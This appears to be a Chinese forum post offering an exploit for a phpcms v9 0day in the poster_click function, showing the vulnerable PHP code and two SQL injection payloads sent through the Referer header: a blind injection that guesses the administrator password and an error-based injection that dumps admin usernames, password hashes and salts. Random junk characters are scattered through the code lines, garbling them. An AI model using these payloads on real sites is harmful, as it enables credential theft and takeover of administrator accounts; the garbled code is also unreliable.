phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
0 I1 |" X# z8 k0 ^8 N
问题函数\phpcms\modules\poster\index.php
. j9 y4 {" z, u" T& }- a
public function poster_click() {
2 D& Z" V. F9 @6 u' H$ k3 d$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
, v( b* e# {) Z) y$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
+ U! i+ d; R  [  I6 c$ J$area = $ip_area->get($ip);
+ T+ Z% b4 q9 I3 J' d8 n$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# o1 v! Z$ e* C' z, nif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
3 a* e7 J& R. u# }8 Nif (count($setting)==1) {
  b! R$ x5 l% [& x$url = $setting['1']['linkurl'];
} else {
& [- i6 d% j  x! Z$ o$ l$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
3 W: t; D7 l/ _  w' ^' n}
: ]& W0 P- _; hheader('Location: '.$url);
}

5 j0 l) r, |: r

利用方式：
$ V0 F* F& @" z% ]: x, k* E
1、可以采用盲注入的手法：
. t7 i& f( O% A
9 m: L2 g; \- P+ |' Xreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

4 K1 K  Z- _, Q0 R8 w通过返回页面，正常与否一个个猜解密码字段。
* i) D6 v7 f$ N% I- w: q% _1 B
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
